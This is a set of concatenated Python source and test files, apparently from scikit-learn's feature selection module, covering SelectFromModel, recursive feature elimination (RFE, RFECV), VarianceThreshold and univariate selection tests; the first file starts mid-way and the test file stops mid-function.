from ..base import TransformerMixin, BaseEstimator, clone
from ..externals import six

from ..utils import safe_mask, check_array, deprecated
from ..utils.validation import check_is_fitted
from ..exceptions import NotFittedError


def _get_feature_importances(estimator):
    """Retrieve or aggregate feature importances from estimator"""
    if hasattr(estimator, "feature_importances_"):
        importances = estimator.feature_importances_

    elif hasattr(estimator, "coef_"):
        if estimator.coef_.ndim == 1:
            importances = np.abs(estimator.coef_)

        else:
            importances = np.sum(np.abs(estimator.coef_), axis=0)

    else:
        raise ValueError(
            "The underlying estimator %s has no `coef_` or "
            "`feature_importances_` attribute. Either pass a fitted estimator"
            " to SelectFromModel or call fit before calling transform."
            % estimator.__class__.__name__)

    return importances


def _calculate_threshold(estimator, importances, threshold):
    """Interpret the threshold value"""

    if threshold is None:
        # determine default from estimator
        est_name = estimator.__class__.__name__
        if ((hasattr(estimator, "penalty") and estimator.penalty == "l1") or
                "Lasso" in est_name):
            # the natural default threshold is 0 when l1 penalty was used
            threshold = 1e-5
        else:
            threshold = "mean"

    if isinstance(threshold, six.string_types):
        if "*" in threshold:
            scale, reference = threshold.split("*")
            scale = float(scale.strip())
            reference = reference.strip()

            if reference == "median":
                reference = np.median(importances)
            elif reference == "mean":
                reference = np.mean(importances)
            else:
                raise ValueError("Unknown reference: " + reference)

            threshold = scale * reference

        elif threshold == "median":
            threshold = np.median(importances)

        elif threshold == "mean":
            threshold = np.mean(importances)

        else:
            raise ValueError("Expected threshold='mean' or threshold='median' "
                             "got %s" % threshold)

    else:
        threshold = float(threshold)

    return threshold


class _LearntSelectorMixin(TransformerMixin):
    # Note because of the extra threshold parameter in transform, this does
    # not naturally extend from SelectorMixin
    """Transformer mixin selecting features based on importance weights.

    This implementation can be mixin on any estimator that exposes a
    ``feature_importances_`` or ``coef_`` attribute to evaluate the relative
    importance of individual features for feature selection.
    """
    @deprecated('Support to use estimators as feature selectors will be '
                'removed in version 0.19. Use SelectFromModel instead.')
    def transform(self, X, threshold=None):
        """Reduce X to its most important features.

        Uses ``coef_`` or ``feature_importances_`` to determine the most
        important features.  For models with a ``coef_`` for each class, the
        absolute sum over the classes is used.

        Parameters
        ----------
        X : array or scipy sparse matrix of shape [n_samples, n_features]
            The input samples.

        threshold : string, float or None, optional (default=None)
            The threshold value to use for feature selection. Features whose
            importance is greater or equal are kept while the others are
            discarded. If "median" (resp. "mean"), then the threshold value is
            the median (resp. the mean) of the feature importances. A scaling
            factor (e.g., "1.25*mean") may also be used. If None and if
            available, the object attribute ``threshold`` is used. Otherwise,
            "mean" is used by default.

        Returns
        -------
        X_r : array of shape [n_samples, n_selected_features]
            The input samples with only the selected features.
        """
        check_is_fitted(self, ('coef_', 'feature_importances_'),
                        all_or_any=any)

        X = check_array(X, 'csc')
        importances = _get_feature_importances(self)
        if len(importances) != X.shape[1]:
            raise ValueError("X has different number of features than"
                             " during model fitting.")

        if threshold is None:
            threshold = getattr(self, 'threshold', None)
        threshold = _calculate_threshold(self, importances, threshold)

        # Selection
        try:
            mask = importances >= threshold
        except TypeError:
            # Fails in Python 3.x when threshold is str;
            # result is array of True
            raise ValueError("Invalid threshold: all features are discarded.")

        if np.any(mask):
            mask = safe_mask(X, mask)
            return X[:, mask]
        else:
            raise ValueError("Invalid threshold: all features are discarded.")


class SelectFromModel(BaseEstimator, SelectorMixin):
    """Meta-transformer for selecting features based on importance weights.

    .. versionadded:: 0.17

    Parameters
    ----------
    estimator : object
        The base estimator from which the transformer is built.
        This can be both a fitted (if ``prefit`` is set to True)
        or a non-fitted estimator.

    threshold : string, float, optional default None
        The threshold value to use for feature selection. Features whose
        importance is greater or equal are kept while the others are
        discarded. If "median" (resp. "mean"), then the ``threshold`` value is
        the median (resp. the mean) of the feature importances. A scaling
        factor (e.g., "1.25*mean") may also be used. If None and if the
        estimator has a parameter penalty set to l1, either explicitly
        or implicitly (e.g, Lasso), the threshold used is 1e-5.
        Otherwise, "mean" is used by default.

    prefit : bool, default False
        Whether a prefit model is expected to be passed into the constructor
        directly or not. If True, ``transform`` must be called directly
        and SelectFromModel cannot be used with ``cross_val_score``,
        ``GridSearchCV`` and similar utilities that clone the estimator.
        Otherwise train the model using ``fit`` and then ``transform`` to do
        feature selection.

    Attributes
    ----------
    `estimator_`: an estimator
        The base estimator from which the transformer is built.
        This is stored only when a non-fitted estimator is passed to the
        ``SelectFromModel``, i.e when prefit is False.

    `threshold_`: float
        The threshold value used for feature selection.
    """
    def __init__(self, estimator, threshold=None, prefit=False):
        self.estimator = estimator
        self.threshold = threshold
        self.prefit = prefit

    def _get_support_mask(self):
        # SelectFromModel can directly call on transform.
        if self.prefit:
            estimator = self.estimator
        elif hasattr(self, 'estimator_'):
            estimator = self.estimator_
        else:
            raise ValueError(
                'Either fit the model before transform or set "prefit=True"'
                ' while passing the fitted estimator to the constructor.')
        scores = _get_feature_importances(estimator)
        self.threshold_ = _calculate_threshold(estimator, scores,
                                               self.threshold)
        return scores >= self.threshold_

    def fit(self, X, y=None, **fit_params):
        """Fit the SelectFromModel meta-transformer.

        Parameters
        ----------
        X : array-like of shape (n_samples, n_features)
            The training input samples.

        y : array-like, shape (n_samples,)
            The target values (integers that correspond to classes in
            classification, real numbers in regression).

        **fit_params : Other estimator specific parameters

        Returns
        -------
        self : object
            Returns self.
        """
        if self.prefit:
            raise NotFittedError(
                "Since 'prefit=True', call transform directly")
        if not hasattr(self, "estimator_"):
            self.estimator_ = clone(self.estimator)
        self.estimator_.fit(X, y, **fit_params)
        return self

    def partial_fit(self, X, y=None, **fit_params):
        """Fit the SelectFromModel meta-transformer only once.

        Parameters
        ----------
        X : array-like of shape (n_samples, n_features)
            The training input samples.

        y : array-like, shape (n_samples,)
            The target values (integers that correspond to classes in
            classification, real numbers in regression).

        **fit_params : Other estimator specific parameters

        Returns
        -------
        self : object
            Returns self.
        """
        if self.prefit:
            raise NotFittedError(
                "Since 'prefit=True', call transform directly")
        if not hasattr(self, "estimator_"):
            self.estimator_ = clone(self.estimator)
        self.estimator_.partial_fit(X, y, **fit_params)
        return self






# Authors: Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Vincent Michel <vincent.michel@inria.fr>
#          Gilles Louppe <g.louppe@gmail.com>
#
# License: BSD 3 clause

"""Recursive feature elimination for feature ranking"""

import numpy as np
from ..utils import check_X_y, safe_sqr
from ..utils.metaestimators import if_delegate_has_method
from ..base import BaseEstimator
from ..base import MetaEstimatorMixin
from ..base import clone
from ..base import is_classifier
from ..externals.joblib import Parallel, delayed
from ..model_selection import check_cv
from ..model_selection._validation import _safe_split, _score
from ..metrics.scorer import check_scoring
from .base import SelectorMixin


def _rfe_single_fit(rfe, estimator, X, y, train, test, scorer):
    """
    Return the score for a fit across one fold.
    """
    X_train, y_train = _safe_split(estimator, X, y, train)
    X_test, y_test = _safe_split(estimator, X, y, test, train)
    return rfe._fit(
        X_train, y_train, lambda estimator, features:
        _score(estimator, X_test[:, features], y_test, scorer)).scores_

class RFE(BaseEstimator, MetaEstimatorMixin, SelectorMixin):
    """Feature ranking with recursive feature elimination.

    Given an external estimator that assigns weights to features (e.g., the
    coefficients of a linear model), the goal of recursive feature elimination
    (RFE) is to select features by recursively considering smaller and smaller
    sets of features. First, the estimator is trained on the initial set of
    features and weights are assigned to each one of them. Then, features whose
    absolute weights are the smallest are pruned from the current set features.
    That procedure is recursively repeated on the pruned set until the desired
    number of features to select is eventually reached.

    Read more in the :ref:`User Guide <rfe>`.

    Parameters
    ----------
    estimator : object
        A supervised learning estimator with a `fit` method that updates a
        `coef_` attribute that holds the fitted parameters. Important features
        must correspond to high absolute values in the `coef_` array.

        For instance, this is the case for most supervised learning
        algorithms such as Support Vector Classifiers and Generalized
        Linear Models from the `svm` and `linear_model` modules.

    n_features_to_select : int or None (default=None)
        The number of features to select. If `None`, half of the features
        are selected.

    step : int or float, optional (default=1)
        If greater than or equal to 1, then `step` corresponds to the (integer)
        number of features to remove at each iteration.
        If within (0.0, 1.0), then `step` corresponds to the percentage
        (rounded down) of features to remove at each iteration.

    verbose : int, default=0
        Controls verbosity of output.

    Attributes
    ----------
    n_features_ : int
        The number of selected features.

    support_ : array of shape [n_features]
        The mask of selected features.

    ranking_ : array of shape [n_features]
        The feature ranking, such that ``ranking_[i]`` corresponds to the
        ranking position of the i-th feature. Selected (i.e., estimated
        best) features are assigned rank 1.

    estimator_ : object
        The external estimator fit on the reduced dataset.

    Examples
    --------
    The following example shows how to retrieve the 5 right informative
    features in the Friedman #1 dataset.

    >>> from sklearn.datasets import make_friedman1
    >>> from sklearn.feature_selection import RFE
    >>> from sklearn.svm import SVR
    >>> X, y = make_friedman1(n_samples=50, n_features=10, random_state=0)
    >>> estimator = SVR(kernel="linear")
    >>> selector = RFE(estimator, 5, step=1)
    >>> selector = selector.fit(X, y)
    >>> selector.support_ # doctest: +NORMALIZE_WHITESPACE
    array([ True,  True,  True,  True,  True,
            False, False, False, False, False], dtype=bool)
    >>> selector.ranking_
    array([1, 1, 1, 1, 1, 6, 4, 3, 2, 5])

    References
    ----------

    .. [1] Guyon, I., Weston, J., Barnhill, S., & Vapnik, V., "Gene selection
           for cancer classification using support vector machines",
           Mach. Learn., 46(1-3), 389--422, 2002.
    """
    def __init__(self, estimator, n_features_to_select=None, step=1,
                 verbose=0):
        self.estimator = estimator
        self.n_features_to_select = n_features_to_select
        self.step = step
        self.verbose = verbose

    @property
    def _estimator_type(self):
        return self.estimator._estimator_type

    def fit(self, X, y):
        """Fit the RFE model and then the underlying estimator on the selected
           features.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            The training input samples.

        y : array-like, shape = [n_samples]
            The target values.
        """
        return self._fit(X, y)

    def _fit(self, X, y, step_score=None):
        X, y = check_X_y(X, y, "csc")
        # Initialization
        n_features = X.shape[1]
        if self.n_features_to_select is None:
            n_features_to_select = n_features // 2
        else:
            n_features_to_select = self.n_features_to_select

        if 0.0 < self.step < 1.0:
            step = int(max(1, self.step * n_features))
        else:
            step = int(self.step)
        if step <= 0:
            raise ValueError("Step must be >0")

        support_ = np.ones(n_features, dtype=np.bool)
        ranking_ = np.ones(n_features, dtype=np.int)

        if step_score:
            self.scores_ = []

        # Elimination
        while np.sum(support_) > n_features_to_select:
            # Remaining features
            features = np.arange(n_features)[support_]

            # Rank the remaining features
            estimator = clone(self.estimator)
            if self.verbose > 0:
                print("Fitting estimator with %d features." % np.sum(support_))

            estimator.fit(X[:, features], y)

            # Get coefs
            if hasattr(estimator, 'coef_'):
                coefs = estimator.coef_
            elif hasattr(estimator, 'feature_importances_'):
                coefs = estimator.feature_importances_
            else:
                raise RuntimeError('The classifier does not expose '
                                   '"coef_" or "feature_importances_" '
                                   'attributes')

            # Get ranks
            if coefs.ndim > 1:
                ranks = np.argsort(safe_sqr(coefs).sum(axis=0))
            else:
                ranks = np.argsort(safe_sqr(coefs))

            # for sparse case ranks is matrix
            ranks = np.ravel(ranks)

            # Eliminate the worse features
            threshold = min(step, np.sum(support_) - n_features_to_select)

            # Compute step score on the previous selection iteration
            # because 'estimator' must use features
            # that have not been eliminated yet
            if step_score:
                self.scores_.append(step_score(estimator, features))
            support_[features[ranks][:threshold]] = False
            ranking_[np.logical_not(support_)] += 1

        # Set final attributes
        features = np.arange(n_features)[support_]
        self.estimator_ = clone(self.estimator)
        self.estimator_.fit(X[:, features], y)

        # Compute step score when only n_features_to_select features left
        if step_score:
            self.scores_.append(step_score(self.estimator_, features))
        self.n_features_ = support_.sum()
        self.support_ = support_
        self.ranking_ = ranking_

        return self

    @if_delegate_has_method(delegate='estimator')
    def predict(self, X):
        """Reduce X to the selected features and then predict using the
           underlying estimator.

        Parameters
        ----------
        X : array of shape [n_samples, n_features]
            The input samples.

        Returns
        -------
        y : array of shape [n_samples]
            The predicted target values.
        """
        return self.estimator_.predict(self.transform(X))

    @if_delegate_has_method(delegate='estimator')
    def score(self, X, y):
        """Reduce X to the selected features and then return the score of the
           underlying estimator.

        Parameters
        ----------
        X : array of shape [n_samples, n_features]
            The input samples.

        y : array of shape [n_samples]
            The target values.
        """
        return self.estimator_.score(self.transform(X), y)

    def _get_support_mask(self):
        return self.support_

    @if_delegate_has_method(delegate='estimator')
    def decision_function(self, X):
        return self.estimator_.decision_function(self.transform(X))

    @if_delegate_has_method(delegate='estimator')
    def predict_proba(self, X):
        return self.estimator_.predict_proba(self.transform(X))

    @if_delegate_has_method(delegate='estimator')
    def predict_log_proba(self, X):
        return self.estimator_.predict_log_proba(self.transform(X))


class RFECV(RFE, MetaEstimatorMixin):
    """Feature ranking with recursive feature elimination and cross-validated
    selection of the best number of features.

    Read more in the :ref:`User Guide <rfe>`.

    Parameters
    ----------
    estimator : object
        A supervised learning estimator with a `fit` method that updates a
        `coef_` attribute that holds the fitted parameters. Important features
        must correspond to high absolute values in the `coef_` array.

        For instance, this is the case for most supervised learning
        algorithms such as Support Vector Classifiers and Generalized
        Linear Models from the `svm` and `linear_model` modules.

    step : int or float, optional (default=1)
        If greater than or equal to 1, then `step` corresponds to the (integer)
        number of features to remove at each iteration.
        If within (0.0, 1.0), then `step` corresponds to the percentage
        (rounded down) of features to remove at each iteration.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, if ``y`` is binary or multiclass,
        :class:`sklearn.model_selection.StratifiedKFold` is used. If the 
        estimator is a classifier or if ``y`` is neither binary nor multiclass, 
        :class:`sklearn.model_selection.KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    scoring : string, callable or None, optional, default: None
        A string (see model evaluation documentation) or
        a scorer callable object / function with signature
        ``scorer(estimator, X, y)``.

    verbose : int, default=0
        Controls verbosity of output.

    n_jobs : int, default 1
        Number of cores to run in parallel while fitting across folds.
        Defaults to 1 core. If `n_jobs=-1`, then number of jobs is set
        to number of cores.

    Attributes
    ----------
    n_features_ : int
        The number of selected features with cross-validation.

    support_ : array of shape [n_features]
        The mask of selected features.

    ranking_ : array of shape [n_features]
        The feature ranking, such that `ranking_[i]`
        corresponds to the ranking
        position of the i-th feature.
        Selected (i.e., estimated best)
        features are assigned rank 1.

    grid_scores_ : array of shape [n_subsets_of_features]
        The cross-validation scores such that
        ``grid_scores_[i]`` corresponds to
        the CV score of the i-th subset of features.

    estimator_ : object
        The external estimator fit on the reduced dataset.

    Notes
    -----
    The size of ``grid_scores_`` is equal to ceil((n_features - 1) / step) + 1,
    where step is the number of features removed at each iteration.

    Examples
    --------
    The following example shows how to retrieve the a-priori not known 5
    informative features in the Friedman #1 dataset.

    >>> from sklearn.datasets import make_friedman1
    >>> from sklearn.feature_selection import RFECV
    >>> from sklearn.svm import SVR
    >>> X, y = make_friedman1(n_samples=50, n_features=10, random_state=0)
    >>> estimator = SVR(kernel="linear")
    >>> selector = RFECV(estimator, step=1, cv=5)
    >>> selector = selector.fit(X, y)
    >>> selector.support_ # doctest: +NORMALIZE_WHITESPACE
    array([ True,  True,  True,  True,  True,
            False, False, False, False, False], dtype=bool)
    >>> selector.ranking_
    array([1, 1, 1, 1, 1, 6, 4, 3, 2, 5])

    References
    ----------

    .. [1] Guyon, I., Weston, J., Barnhill, S., & Vapnik, V., "Gene selection
           for cancer classification using support vector machines",
           Mach. Learn., 46(1-3), 389--422, 2002.
    """
    def __init__(self, estimator, step=1, cv=None, scoring=None, verbose=0,
                 n_jobs=1):
        self.estimator = estimator
        self.step = step
        self.cv = cv
        self.scoring = scoring
        self.verbose = verbose
        self.n_jobs = n_jobs

    def fit(self, X, y):
        """Fit the RFE model and automatically tune the number of selected
           features.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training vector, where `n_samples` is the number of samples and
            `n_features` is the total number of features.

        y : array-like, shape = [n_samples]
            Target values (integers for classification, real numbers for
            regression).
        """
        X, y = check_X_y(X, y, "csr")

        # Initialization
        cv = check_cv(self.cv, y, is_classifier(self.estimator))
        scorer = check_scoring(self.estimator, scoring=self.scoring)
        n_features = X.shape[1]
        n_features_to_select = 1
        rfe = RFE(estimator=self.estimator,
                  n_features_to_select=n_features_to_select,
                  step=self.step, verbose=self.verbose - 1)


        # Determine the number of subsets of features by fitting across
        # the train folds and choosing the "features_to_select" parameter
        # that gives the least averaged error across all folds.

        # Note that joblib raises a non-picklable error for bound methods
        # even if n_jobs is set to 1 with the default multiprocessing
        # backend.
        # This branching is done so that to
        # make sure that user code that sets n_jobs to 1
        # and provides bound methods as scorers is not broken with the
        # addition of n_jobs parameter in version 0.18.

        if self.n_jobs == 1:
            parallel, func = list, _rfe_single_fit
        else:
            parallel, func, = Parallel(n_jobs=self.n_jobs), delayed(_rfe_single_fit)

        scores = parallel(
            func(rfe, self.estimator, X, y, train, test, scorer)
            for train, test in cv.split(X, y))

        scores = np.sum(scores, axis=0)
        n_features_to_select = max(
            n_features - (np.argmax(scores) * self.step),
            n_features_to_select)

        # Re-execute an elimination with best_k over the whole set
        rfe = RFE(estimator=self.estimator,
                  n_features_to_select=n_features_to_select, step=self.step)

        rfe.fit(X, y)

        # Set final attributes
        self.support_ = rfe.support_
        self.n_features_ = rfe.n_features_
        self.ranking_ = rfe.ranking_
        self.estimator_ = clone(self.estimator)
        self.estimator_.fit(self.transform(X), y)

        # Fixing a normalization error, n is equal to get_n_splits(X, y) - 1
        # here, the scores are normalized by get_n_splits(X, y)
        self.grid_scores_ = scores[::-1] / cv.get_n_splits(X, y)
        return self






"""
The :mod:`sklearn.feature_selection` module implements feature selection
algorithms. It currently includes univariate filter selection methods and the
recursive feature elimination algorithm.
"""

from .univariate_selection import chi2
from .univariate_selection import f_classif
from .univariate_selection import f_oneway
from .univariate_selection import f_regression
from .univariate_selection import SelectPercentile
from .univariate_selection import SelectKBest
from .univariate_selection import SelectFpr
from .univariate_selection import SelectFdr
from .univariate_selection import SelectFwe
from .univariate_selection import GenericUnivariateSelect

from .variance_threshold import VarianceThreshold

from .rfe import RFE
from .rfe import RFECV

from .from_model import SelectFromModel

from .mutual_info_ import mutual_info_regression, mutual_info_classif


__all__ = ['GenericUnivariateSelect',
           'RFE',
           'RFECV',
           'SelectFdr',
           'SelectFpr',
           'SelectFwe',
           'SelectKBest',
           'SelectFromModel',
           'SelectPercentile',
           'VarianceThreshold',
           'chi2',
           'f_classif',
           'f_oneway',
           'f_regression',
           'mutual_info_classif',
           'mutual_info_regression']






# Author: Lars Buitinck
# License: 3-clause BSD

import numpy as np
from ..base import BaseEstimator
from .base import SelectorMixin
from ..utils import check_array
from ..utils.sparsefuncs import mean_variance_axis
from ..utils.validation import check_is_fitted


class VarianceThreshold(BaseEstimator, SelectorMixin):
    """Feature selector that removes all low-variance features.

    This feature selection algorithm looks only at the features (X), not the
    desired outputs (y), and can thus be used for unsupervised learning.

    Read more in the :ref:`User Guide <variance_threshold>`.

    Parameters
    ----------
    threshold : float, optional
        Features with a training-set variance lower than this threshold will
        be removed. The default is to keep all features with non-zero variance,
        i.e. remove the features that have the same value in all samples.

    Attributes
    ----------
    variances_ : array, shape (n_features,)
        Variances of individual features.

    Examples
    --------
    The following dataset has integer features, two of which are the same
    in every sample. These are removed with the default setting for threshold::

        >>> X = [[0, 2, 0, 3], [0, 1, 4, 3], [0, 1, 1, 3]]
        >>> selector = VarianceThreshold()
        >>> selector.fit_transform(X)
        array([[2, 0],
               [1, 4],
               [1, 1]])
    """

    def __init__(self, threshold=0.):
        self.threshold = threshold

    def fit(self, X, y=None):
        """Learn empirical variances from X.

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape (n_samples, n_features)
            Sample vectors from which to compute variances.

        y : any
            Ignored. This parameter exists only for compatibility with
            sklearn.pipeline.Pipeline.

        Returns
        -------
        self
        """
        X = check_array(X, ('csr', 'csc'), dtype=np.float64)

        if hasattr(X, "toarray"):   # sparse matrix
            _, self.variances_ = mean_variance_axis(X, axis=0)
        else:
            self.variances_ = np.var(X, axis=0)

        if np.all(self.variances_ <= self.threshold):
            msg = "No feature in X meets the variance threshold {0:.5f}"
            if X.shape[0] == 1:
                msg += " (X contains only one sample)"
            raise ValueError(msg.format(self.threshold))

        return self

    def _get_support_mask(self):
        check_is_fitted(self, 'variances_')

        return self.variances_ > self.threshold






"""
Todo: cross-check the F-value with stats model
"""
from __future__ import division
import itertools
import warnings
import numpy as np
from scipy import stats, sparse

from numpy.testing import run_module_suite
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_almost_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_true
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_array_almost_equal
from sklearn.utils.testing import assert_not_in
from sklearn.utils.testing import assert_less
from sklearn.utils.testing import assert_warns
from sklearn.utils.testing import ignore_warnings
from sklearn.utils.testing import assert_warns_message
from sklearn.utils.testing import assert_greater
from sklearn.utils.testing import assert_greater_equal
from sklearn.utils import safe_mask

from sklearn.datasets.samples_generator import (make_classification,
                                                make_regression)
from sklearn.feature_selection import (
    chi2, f_classif, f_oneway, f_regression, mutual_info_classif,
    mutual_info_regression, SelectPercentile, SelectKBest, SelectFpr,
    SelectFdr, SelectFwe, GenericUnivariateSelect)


##############################################################################
# Test the score functions

def test_f_oneway_vs_scipy_stats():
    # Test that our f_oneway gives the same result as scipy.stats
    rng = np.random.RandomState(0)
    X1 = rng.randn(10, 3)
    X2 = 1 + rng.randn(10, 3)
    f, pv = stats.f_oneway(X1, X2)
    f2, pv2 = f_oneway(X1, X2)
    assert_true(np.allclose(f, f2))
    assert_true(np.allclose(pv, pv2))


def test_f_oneway_ints():
    # Smoke test f_oneway on integers: that it does raise casting errors
    # with recent numpys
    rng = np.random.RandomState(0)
    X = rng.randint(10, size=(10, 10))
    y = np.arange(10)
    fint, pint = f_oneway(X, y)

    # test that is gives the same result as with float
    f, p = f_oneway(X.astype(np.float), y)
    assert_array_almost_equal(f, fint, decimal=4)
    assert_array_almost_equal(p, pint, decimal=4)


def test_f_classif():
    # Test whether the F test yields meaningful results
    # on a simple simulated classification problem
    X, y = make_classification(n_samples=200, n_features=20,
                               n_informative=3, n_redundant=2,
                               n_repeated=0, n_classes=8,
                               n_clusters_per_class=1, flip_y=0.0,
                               class_sep=10, shuffle=False, random_state=0)

    F, pv = f_classif(X, y)
    F_sparse, pv_sparse = f_classif(sparse.csr_matrix(X), y)
    assert_true((F > 0).all())
    assert_true((pv > 0).all())
    assert_true((pv < 1).all())
    assert_true((pv[:5] < 0.05).all())
    assert_true((pv[5:] > 1.e-4).all())
    assert_array_almost_equal(F_sparse, F)
    assert_array_almost_equal(pv_sparse, pv)


def test_f_regression():
    # Test whether the F test yields meaningful results
    # on a simple simulated regression problem
    X, y = make_regression(n_samples=200, n_features=20, n_informative=5,
                           shuffle=False, random_state=0)

    F, pv = f_regression(X, y)
    assert_true((F > 0).all())
    assert_true((pv > 0).all())
    assert_true((pv < 1).all())
    assert_true((pv[:5] < 0.05).all())
    assert_true((pv[5:] > 1.e-4).all())

    # again without centering, compare with sparse
    F, pv = f_regression(X, y, center=False)
    F_sparse, pv_sparse = f_regression(sparse.csr_matrix(X), y, center=False)
    assert_array_almost_equal(F_sparse, F)
    assert_array_almost_equal(pv_sparse, pv)


def test_f_regression_input_dtype():
    # Test whether f_regression returns the same value
    # for any numeric data_type
    rng = np.random.RandomState(0)
    X = rng.rand(10, 20)
    y = np.arange(10).astype(np.int)

    F1, pv1 = f_regression(X, y)
    F2, pv2 = f_regression(X, y.astype(np.float))
    assert_array_almost_equal(F1, F2, 5)
    assert_array_almost_equal(pv1, pv2, 5)


def test_f_regression_center():
    # Test whether f_regression preserves dof according to 'center' argument
    # We use two centered variates so we have a simple relationship between
    # F-score with variates centering and F-score without variates centering.
    # Create toy example
    X = np.arange(-5, 6).reshape(-1, 1)  # X has zero mean
    n_samples = X.size
    Y = np.ones(n_samples)
    Y[::2] *= -1.
    Y[0] = 0.  # have Y mean being null

    F1, _ = f_regression(X, Y, center=True)
    F2, _ = f_regression(X, Y, center=False)
    assert_array_almost_equal(F1 * (n_samples - 1.) / (n_samples - 2.), F2)
    assert_almost_equal(F2[0], 0.232558139)  # value from statsmodels OLS


def test_f_classif_multi_class():
    # Test whether the F test yields meaningful results
    # on a simple simulated classification problem
    X, y = make_classification(n_samples=200, n_features=20,
                               n_informative=3, n_redundant=2,
                               n_repeated=0, n_classes=8,
                               n_clusters_per_class=1, flip_y=0.0,
                               class_sep=10, shuffle=False, random_state=0)

    F, pv = f_classif(X, y)
    assert_true((F > 0).all())
    assert_true((pv > 0).all())
    assert_true((pv < 1).all())
    assert_true((pv[:5] < 0.05).all())
    assert_true((pv[5:] > 1.e-4).all())


def test_select_percentile_classif():
    # Test whether the relative univariate feature selection
    # gets the correct items in a simple classification problem
    # with the percentile heuristic
    X, y = make_classification(n_samples=200, n_features=20,
                               n_informative=3, n_redundant=2,
                               n_repeated=0, n_classes=8,
                               n_clusters_per_class=1, flip_y=0.0,
                               class_sep=10, shuffle=False, random_state=0)

    univariate_filter = SelectPercentile(f_classif, percentile=25)
    X_r = univariate_filter.fit(X, y).transform(X)
    X_r2 = GenericUnivariateSelect(f_classif, mode='percentile',
                                   param=25).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(20)
    gtruth[:5] = 1
    assert_array_equal(support, gtruth)


def test_select_percentile_classif_sparse():
    # Test whether the relative univariate feature selection
    # gets the correct items in a simple classification problem
    # with the percentile heuristic
    X, y = make_classification(n_samples=200, n_features=20,
                               n_informative=3, n_redundant=2,
                               n_repeated=0, n_classes=8,
                               n_clusters_per_class=1, flip_y=0.0,
                               class_sep=10, shuffle=False, random_state=0)
    X = sparse.csr_matrix(X)
    univariate_filter = SelectPercentile(f_classif, percentile=25)
    X_r = univariate_filter.fit(X, y).transform(X)
    X_r2 = GenericUnivariateSelect(f_classif, mode='percentile',
                                   param=25).fit(X, y).transform(X)
    assert_array_equal(X_r.toarray(), X_r2.toarray())
    support = univariate_filter.get_support()
    gtruth = np.zeros(20)
    gtruth[:5] = 1
    assert_array_equal(support, gtruth)

    X_r2inv = univariate_filter.inverse_transform(X_r2)
    assert_true(sparse.issparse(X_r2inv))
    support_mask = safe_mask(X_r2inv, support)
    assert_equal(X_r2inv.shape, X.shape)
    assert_array_equal(X_r2inv[:, support_mask].toarray(), X_r.toarray())
    # Check other columns are empty
    assert_equal(X_r2inv.getnnz(), X_r.getnnz())


##############################################################################
# Test univariate selection in classification settings

def test_select_kbest_classif():
    # Test whether the relative univariate feature selection
    # gets the correct items in a simple classification problem
    # with the k best heuristic
    X, y = make_classification(n_samples=200, n_features=20,
                               n_informative=3, n_redundant=2,
                               n_repeated=0, n_classes=8,
                               n_clusters_per_class=1, flip_y=0.0,
                               class_sep=10, shuffle=False, random_state=0)

    univariate_filter = SelectKBest(f_classif, k=5)
    X_r = univariate_filter.fit(X, y).transform(X)
    X_r2 = GenericUnivariateSelect(
        f_classif, mode='k_best', param=5).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(20)
    gtruth[:5] = 1
    assert_array_equal(support, gtruth)


def test_select_kbest_all():
    # Test whether k="all" correctly returns all features.
    X, y = make_classification(n_samples=20, n_features=10,
                               shuffle=False, random_state=0)

    univariate_filter = SelectKBest(f_classif, k='all')
    X_r = univariate_filter.fit(X, y).transform(X)
    assert_array_equal(X, X_r)


def test_select_kbest_zero():
    # Test whether k=0 correctly returns no features.
    X, y = make_classification(n_samples=20, n_features=10,
                               shuffle=False, random_state=0)

    univariate_filter = SelectKBest(f_classif, k=0)
    univariate_filter.fit(X, y)
    support = univariate_filter.get_support()
    gtruth = np.zeros(10, dtype=bool)
    assert_array_equal(support, gtruth)
    X_selected = assert_warns_message(UserWarning, 'No features were selected',
                                      univariate_filter.transform, X)
    assert_equal(X_selected.shape, (20, 0))


def test_select_heuristics_classif():
    # Test whether the relative univariate feature selection
    # gets the correct items in a simple classification problem
    # with the fdr, fwe and fpr heuristics
    X, y = make_classification(n_samples=200, n_features=20,
                               n_informative=3, n_redundant=2,
                               n_repeated=0, n_classes=8,
                               n_clusters_per_class=1, flip_y=0.0,
                               class_sep=10, shuffle=False, random_state=0)

    univariate_filter = SelectFwe(f_classif, alpha=0.01)
    X_r = univariate_filter.fit(X, y).transform(X)
    gtruth = np.zeros(20)
    gtruth[:5] = 1
    for mode in ['fdr', 'fpr', 'fwe']:
        X_r2 = GenericUnivariateSelect(
            f_classif, mode=mode, param=0.01).fit(X, y).transform(X)
        assert_array_equal(X_r, X_r2)
        support = univariate_filter.get_support()
        assert_array_almost_equal(support, gtruth)


##############################################################################
# Test univariate selection in regression settings


def assert_best_scores_kept(score_filter):
    scores = score_filter.scores_
    support = score_filter.get_support()
    assert_array_equal(np.sort(scores[support]),
                       np.sort(scores)[-support.sum():])


def test_select_percentile_regression():
    # Test whether the relative univariate feature selection
    # gets the correct items in a simple regression problem
    # with the percentile heuristic
    X, y = make_regression(n_samples=200, n_features=20,
                           n_informative=5, shuffle=False, random_state=0)

    univariate_filter = SelectPercentile(f_regression, percentile=25)
    X_r = univariate_filter.fit(X, y).transform(X)
    assert_best_scores_kept(univariate_filter)
    X_r2 = GenericUnivariateSelect(
        f_regression, mode='percentile', param=25).fit(X, y).transform(X)
    assert_array_equal(X_r, X_r2)
    support = univariate_filter.get_support()
    gtruth = np.zeros(20)
    gtruth[:5] = 1
    assert_array_equal(support, gtruth)
    X_2 = X.copy()
    X_2[:, np.logical_not(support)] = 0
